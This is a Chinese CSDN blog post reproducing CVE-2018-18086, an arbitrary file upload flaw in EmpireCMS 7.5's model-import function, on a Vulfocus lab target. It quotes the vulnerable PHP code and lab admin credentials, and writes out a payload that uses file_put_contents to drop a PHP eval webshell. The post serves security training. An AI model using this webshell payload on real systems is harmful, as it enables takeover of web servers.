【漏洞复现-EmpireCms-文件上传】vulfocus/empirecms-cve_2018_18086

已于 2023-01-06 22:33:03 修改
阅读量1.6k 收藏 11
点赞数 2
分类专栏： 0X06【漏洞复现】 文章标签： web安全
于 2022-10-09 19:28:11 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_53079406/article/details/127227989
版权

 

前言：

介绍： 

博主：网络安全领域狂热爱好者（承诺在CSDN永久无偿分享文章）。

殊荣：CSDN网络安全领域优质创作者，2022年双十一业务安全保卫战-某厂第一名，某厂特邀数字业务安全研究员，edusrc高白帽，vulfocus、攻防世界等平台排名100+、高校漏洞证书、cnvd原创漏洞证书等。

擅长：对于技术、工具、漏洞原理、黑产打击的研究。

C站缘：C站的前辈，引领我度过了一个又一个技术的瓶颈期、迷茫期。

导读：

面向读者：对于网络安全方面的学者。 

本文知识点（读者自测）： 

（1）新建上传、特定后缀文件（√）

 让读者如虎添翼

文件上传漏洞复现目标状态
【漏洞复现-dedecms-文件上传】vulfocus/dedecms-cve_2019_8933后台的新建、上传文件功能、修改后缀功能已发布
【漏洞复现-tomcat-弱口令+文件上传】vulfocus/tomcat-pass-getshell后台部署WAR报getshell已发布
【漏洞复现-weblogic-文件上传】vulfocus/weblogic-cve_2018_2894后台新建、上传文件的功能点已发布
【漏洞复现-showdoc-文件上传】​vulfocus/showdoc-cnvd_2020_26585构造上传文件的数据包已发布
【漏洞复现-monstra-文件上传】vulfocus/monstra_cve_2020_13384PHP的特殊后缀绕过已发布
【漏洞复现-oklite-文件上传】vulfocus/oklite-cve_2019_16131后台上传zip数据包，服务器自动解析已发布
【漏洞复现-dcrCms-文件上传】vulfocus/dcrcms-cnvd_2020_27175后台上传点，修改上传文件的类型已发布
【漏洞复现-TypesetterCms-文件上传ZIP】vulfocus/typesetter-cve_2020_25790后台自带解析功能已发布
【漏洞复现-phpok-文件上传】vulfocus/phpok-cve_2018_12491后台新建、上传已发布
【漏洞复现-EmpireCms-文件上传】vulfocus/empirecms-cve_2018_18086新建上传、特定后缀文件已发布
【漏洞复现-Apache-文件上传】vulfocus/apache-cve_2017_15715后缀检测截断已发布
【漏洞复现-jquery-文件上传】vulfocus/jquery-cve_2018_9207curl命令上传工具已发布
【漏洞复现-Tomacat-文件上传】vulfocus/tomcat-cve_2017_12615JSP后门文件已发布
2023将更新更多，敬请期待————

目录

一、靶场环境

1.1、平台：

1.2、知识:

1.3、描述：

1.4、漏洞分析：

二、漏洞验证

2.1、分析：

2.4、解题：

一、靶场环境

1.1、平台：

Vulfocus 漏洞威胁分析平台

123.58.224.8:48549

123.58.224.8:47450

 123.58.224.8:47450

1.2、知识:

1、file_put_contents函数

file_put_contents() 函数把一个字符串写入文件中

语法：

int file_put_contents ( string $filename , mixed $data [, int $flags = 0 [, resource $context ]] )

参数描述
file必需。规定要写入数据的文件。如果文件不存在，则创建一个新文件。
data必需。规定要写入文件的数据。可以是字符串、数组或数据流。
mode可选。规定如何打开/写入文件。可能的值：
  • FILE_USE_INCLUDE_PATH
  • FILE_APPEND
  • LOCK_EX
context可选。规定文件句柄的环境。context 是一套可以修改流的行为的选项。

示例：

<?php file_put_contents("shell1.php","<?php phpinfo()?>");?>

将<?php phpinfo()?>重新创建并写入到shell1.php新文件中（如果不存在这个文件）

该函数访问文件时，遵循以下规则：

  1. 如果设置了 FILE_USE_INCLUDE_PATH，那么将检查 *filename* 副本的内置路径
  2. 如果文件不存在，将创建一个文件
  3. 打开文件
  4. 如果设置了 LOCK_EX，那么将锁定文件
  5. 如果设置了 FILE_APPEND，那么将移至文件末尾。否则，将会清除文件的内容
  6. 向文件中写入数据
  7. 关闭文件并对所有文件解锁

1.3、描述：

EmpireCMS 7.5版本中的e/class/moddofun.php文件的‘LoadInMod’函数存在安全漏洞。攻击者可利用该漏洞上传任意文件

1.4、漏洞分析：

漏洞代码位置：/e/class/moddofun.php

//导入模型
elseif($enews=="LoadInMod")
{
	$file=$_FILES['file']['tmp_name'];
    $file_name=$_FILES['file']['name'];
    $file_type=$_FILES['file']['type'];
    $file_size=$_FILES['file']['size'];
	LoadInMod($_POST,$file,$file_name,$file_type,$file_size,$logininid,$loginin);
}

转到LoadInMod定义，make_password(10)对文件名进行加密重命名

但是include()直接包含上传的文件，这样就可以绕过重命名的文件

@include($path); 直接包含文件

//上传文件
	$path=ECMS_PATH."e/data/tmp/mod/uploadm".time().make_password(10).".php";
	$cp=@move_uploaded_file($file,$path);
	if(!$cp)
	{
		printerror("EmptyLoadInMod","");
	}
	DoChmodFile($path);
	@include($path);
	UpdateTbDefMod($tid,$tbname,$mid);

二、漏洞验证

2.1、分析：

123.58.224.8:47450/empirecms/e/admin/

账号/密码:

admin/123456

 （发现需要mod后缀文件）

使用file_put_contents函数，写入文件shell1.php

<?php file_put_contents("shell1.php","<?php phpinfo()?>");?>

 

 解析成功

这次使用函数，写入后门代码

（$需要进行转义处理）

<?php file_put_contents("webshell.php","<?php @eval(\$_POST[cmd]); ?>");?>

 

 访问http://123.58.224.8:26156/empirecms/e/admin/webshell.php

(没有提示访问文件不存在，就说明上传成功了)

使用工具进行连接

（文件路径从已知的路径信息中，一点一点推）

 可以找到写入的一些文件

2.4、解题：

网络安全三年之约

First year 

掌握各种原理、不断打新的靶场

目标：edusrc、cnvd 

主页 | 教育漏洞报告平台 (sjtu.edu.cn)https://src.sjtu.edu.cn/https://www.cnvd.org.cnhttps://www.cnvd.org.cn/

second year 

不断学习、提升技术运用技巧，研究各种新平台

开始建立自己的渗透体系

目标：众测平台、企业src应急响应中心 

众测平台URL
漏洞盒子漏洞盒子 | 互联网安全测试众测平台
火线安全平台火线安全平台
漏洞银行BUGBANK 官方网站 | 领先的网络安全漏洞发现品牌 | 开放安全的提出者与倡导者 | 创新的漏洞发现平台
360漏洞众包响应平台360漏洞云漏洞众包响应平台
补天平台（奇安信）补天 - 企业和白帽子共赢的漏洞响应平台，帮助企业建立SRC
春秋云测首页
雷神众测（可信众测，安恒）雷神众测 - BountyTeam
云众可信（启明星辰）云众可信 - 互联网安全服务引领者
ALLSECALLSEC
360众测360众测平台
看雪众测（物联网）https://ce.kanxue.com/
CNVD众测平台网络安全众测平台
工控互联网安全测试平台CNCERT工业互联网安全测试平台
慢雾（区块链）Submit Bug Bounty - SlowMist Zone - Blockchain Ecosystem Security Zone
平安汇聚http://isrc.pingan.com/homePage/index

互联网大厂URL
阿里https://asrc.alibaba.com/#/
腾讯https://security.tencent.com/
百度https://bsrc.baidu.com/v2/#/home
美团https://security.meituan.com/#/home
360https://security.360.cn/
网易https://aq.163.com/
字节跳动https://security.bytedance.com/
京东https://security.jd.com/#/
新浪http://sec.sina.com.cn/
微博https://wsrc.weibo.com/
搜狗http://sec.sogou.com/
金山办公https://security.wps.cn/
有赞https://src.youzan.com/

Third Year 

学习最新的知识，建全自己的渗透体系

目标：参与护网（每一个男孩子心中的梦想） 

时间：一般5月面试，6/7月开始（持续2-3周）

分类：国家级护网、省级护网、市级护网、重大节日护网（如：建党、冬奥等）

黑色地带（崛起）
关注
  • 2
    点赞
  • 踩
  • 11
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
专栏目录
帝国网站管理系统(EmpireCMS) v7.5 简体 UTF-8 开源版
10-07
《帝国网站管理系统》英文译为＂EmpireCMS＂，它是基于B/S结构，安全、稳定、强大、灵活的网站管理系统． 本系统由帝国软件工作组独立开发，是一个经过十多年不断完善设计的适用于
EmpireCMS-6.0os-SC-GBK.zip
03-09
EmpireCMS_6.0os_SC_GBK.zip试卷可打印可复制可编辑
Web安全 EmpireCMS漏洞常见漏洞分析及复现，2024年最新三幅图给你弄懂EventBus核心原理
最新发布
qq194582923的博客
04-15 1016
我们知道secure_file_priv这个参数在mysql的配置文件里起到的是能否写入的作用，当secure_file_priv = 为空，则可以写入sql语句到数据库，当secure_file_priv = NULL，则不可以往数据库里写sql语句，当secure_file_priv = /xxx，一个指定目录的时候，就只能往这个指定的目录里面写东西。技术文档也是我自己整理的，包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点，电子书也有200多本，由于内容的敏感性，我就不一一展示了。
EmPireCMS帝国系统_V7.5.zip
11-10
EmPireCMS帝国系统_V7.5.zip
安全小白的MiniCMS漏洞复现（一）
小王的储物间
12-15 520
MiniCMS是一个针对个人网站设计的微型CMS。它的特点是：0.不需要数据库在支持，只需要一个可以运行PHP的Web环境。1.只针对个人网站设计，没有复杂的成员管理和权限设置。2.没有分类只有标签，免除发布文章时到底该怎么分类的纠结。3.只有“文章”和“页面”两该个系统，没有“评论”、“插件”、“主题”，让你更专注于创造内容。
empirecms 文件上传 （CVE-2018-18086）
weixin_63124284的博客
10-03 816
EmpireCMS 7.5版本及之前版本在后台备份数据库时,未对数据库表名做验证,通过修改数据库表名可以实现任意代码执行。EmpireCMS7.5版本中的/e/class/moddofun.php文件的”LoadInMod”函数存在安全漏洞,攻击者可利用该漏洞上传任意文件。
帝国cms v7.5---漏洞分析
2201_76017178的博客
05-25 5675
帝国CMS漏洞分析，解析EmpireCMSv7.5存在的漏洞以及漏洞的复现
Web安全 | EmpireCMS漏洞常见漏洞分析及复现
Javachichi的博客
10-29 1908
本文将对EmpireCMS(帝国cms)的漏洞进行分析及复现。
empirecms 文件上传 （CVE-2018-18086）漏洞复现
weixin_42675091的博客
09-02 1209
empirecms 文件上传 （CVE-2018-18086）漏洞复测
cmseasy漏洞复现
qq_52223347的博客
03-10 4319
介绍 提供可视化编辑企业网站管理系统系统、网站模板、以及相关文档资料下载,网站系统完美运 行PHP7环境中。 官方网站: https://www.cmseasy.cn/ cmseasy_7.3.8 任意文件操作漏洞复现 cmseasy_7.6.3.2逻辑漏洞复现 "无需代码，自由拖拽布局，适应所有设备”是这个系统宣传的特色，后台自然地 存在自定义网站模板功能，这种功能中如果处理不当很可能造成文件任意读、写 或者删除的脆弱性问题，需要着重注意。 一 任意文件操作漏洞复现 进入管理界面–》模块 --》编辑模
帝国Cms7.5后台getshell | (CVE-2018-18086)漏洞复现
一醉一休的博客
09-13 3097
EmpireCMS（帝国网站管理系统）是一套内容管理系统（`CMS`），EmpireCMS 7.5版本及之前版本在后台备份数据库时,未对数据库表名做验证,通过修改数据库表名可以`实现任意代码执行`，EmpireCMS7.5版本中的/e/class/moddofun.php文件的`LoadInMod函数`存在安全漏洞,攻击者可利用该漏洞上传任意文件，该漏洞编号为`CVE-2018-18086`
EmpireCMS_7.5_SC_UTF8.zip
06-06
EmpireCMS_7.5_SC_UTF8.zipEmpireCMS_7.5_SC_UTF8.zip
帝国网站管理系统(EmpireCMS) v7.5 繁体 UTF-8 开源版
10-07
《帝国网站管理系统》英文译为＂EmpireCMS＂，它是基于B/S结构，安全、稳定、强大、灵活的网站管理系统． 本系统由帝国软件工作组独立开发，是一个经过十多年不断完善设计的适用于
PHPCMS v9.6.0版任意文件上传漏洞分析笔记
foolisheddy
05-05 4487
PHPCMS v9.6.0版任意文件上传漏洞分析笔记 PHPCMS v9.6.0版任意文件上传漏洞分析笔记 参考： 安装： 漏洞复现： 漏洞分析： index.php member/index.php 正常请求 register()函数： htmlspecialchars()函数: menberinput−&gt;get(menberinput−&gt;get(menber_input->g...
ED01-CMS v20180505 任意文件上传漏洞复现（CVE-2022-28525）
sszsNo1的博客
07-02 314
ED01-CMS v20180505 任意文件上传漏洞（CVE-2022-28525）如何复现
finecms存在任意文件上传漏洞复现
炙热的酷盖
08-05 2678
因为自己淋过雨,所以不想别人湿鞋 漏洞环境：finecms公益软件 finecms 存在任意文件上传：MIME验证 fofa: title=“FineCMS公益软件” && country=“CN” 首先注册一个账号yy 上传一个真实图片 3. 打开burpsuite进行抓包和改包 4. 制作图片马  准备一个正常图片1.jpep  准备一个php一句话木马1.php  将1.jpep和1.php放入相同路径下  cmd命令进入路径输入命令：copy 1.jpeg/a +1
常见的CMS及其漏洞
ChiYanq7ng的博客
11-24 239
综上以上的一些cms网站相对内容是免费的比较适用于小型和个人的门户，对自己想要的网站已经拥有了规定的整体架构，直接复制粘贴到规定的目录中就可以进行使用。一般的免费网站所给的是用PHP+mysql结合的后端形式，前端已经有了一定的规定范式，如果自己有自己的意愿可以进行修改，往前端添加自己喜欢的元素和相应的内容。除了擦除整个WordPress安装的可能性，如果没有可用的当前备份可能会带来灾难性的后果，攻击者可以利用任意文件删除的能力来规避一些安全措施并在Web服务器上执行任意代码。Discuz ML!
帝国cms7.5漏洞复现
热门推荐
cxk
05-10 2万+
EmpireCMS v7.5后台任意代码执行分析 目录 一.漏洞简介 二.漏洞复现 三.原理分析 一.漏洞简介 EmpireCMS 7.5版本及之前版本在后台备份数据库时，未对数据库表名做验证，通过修改数据库表名可以实现任意代码执行。 [影响版本] <=7.5 [漏洞危害] 高 [漏洞位置] /e/admin/admin/ebak/phome.php 二.漏洞复现 1 访问靶机192.168...
cnvd-2020-10487-tomcat-ajp-lfi
10-21
cnvd-2020-10487-tomcat-ajp-lfi是一种利用Tomcat中Apache JServ协议（AJP）的本地文件包含（LFI）漏洞。该漏洞允许攻击者在服务器上执行任意的文件读取和执行操作，从而可能导致敏感信息泄露、甚至服务器完全受控。 攻击者可以通过将恶意的AJP请求发送到Tomcat服务器的8009端口来利用该漏洞。这些请求可以指定要读取的文件路径。由于Tomcat默认配置下AJP协议启用且未进行适当的安全限制，攻击者可以通过这个漏洞读取和执行服务器上的任意文件。 为了防止受到cnvd-2020-10487-tomcat-ajp-lfi漏洞的攻击，可以采取以下措施： 1. 禁用或限制AJPS协议的使用：可以通过修改Tomcat的配置文件来禁用或限制AJPS协议的使用。将AJP协议暴露在公共网络上可能会使服务器容易受到攻击。 2. 更新Tomcat版本：及时安装Tomcat的安全更新和补丁，以保持服务器的安全性和稳定性。 3. 配置Tomcat访问控制：通过配置Tomcat的访问控制策略，限制外部访问与敏感文件相关的路径。 4. 使用防火墙和入侵检测系统（IDS）：配置防火墙和IDS以监控和检测异常的网络活动，并及时阻止和警示可疑的AJP请求。 5. 最小权限原则：确保服务器上的所有账户和进程都具有最小权限。这样，即使攻击者成功利用了漏洞，也能够最大限度地减小攻击的影响范围。 综上所述，cnvd-2020-10487-tomcat-ajp-lfi是一种危险的漏洞，但通过采取适当的防护措施，我们可以提高服务器的安全性，避免受到该漏洞的攻击。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

黑色地带（崛起）

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值